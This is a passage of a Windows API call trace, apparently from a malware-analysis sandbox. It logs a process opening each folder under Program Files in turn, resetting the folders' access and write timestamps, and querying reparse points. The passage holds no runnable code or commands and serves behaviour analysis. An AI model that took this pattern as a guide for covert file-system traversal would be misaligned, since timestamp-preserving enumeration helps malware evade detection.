lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.955] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.957] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.957] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.957] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.961] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.961] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.961] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.966] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.966] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.966] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.976] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.977] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.977] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.979] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.979] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.979] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.987] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.987] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.987] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.989] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.989] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.989] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.991] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.992] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.992] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.996] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.997] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.997] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0146.000] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.001] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.001] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b23de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b23de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.003] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.003] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.003] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b23de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b23de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.005] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.005] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.005] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b23de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b23de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.007] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.008] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.008] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b23de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b23de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.012] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0146.013] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0146.013] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0146.015] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0146.015] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.015] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.017] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0146.017] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.017] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.019] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.019] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.019] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b23de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b23de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.022] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.022] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.022] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b23de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b23de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.025] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.026] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.026] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.027] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.028] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.028] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.030] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.031] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0146.031] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0146.034] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.034] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.034] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.036] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.036] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.036] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.038] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.039] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.039] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.041] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.041] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.041] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b23de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b23de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.047] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.047] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.047] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.053] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.053] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.053] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.057] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files\\windows sidebar\\shared gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0146.058] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0146.058] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0146.059] CreateFileW (lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0146.060] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f8fc, lpLastWriteTime=0x1a7f8fc) returned 0 [0146.060] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f954, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f954, lpOverlapped=0x0) returned 0 [0146.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe" (normalized: "c:\\program files (x86)\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0146.060] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0146.060] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0146.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0146.064] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0146.064] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0146.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0146.069] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0146.069] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0146.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.071] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, 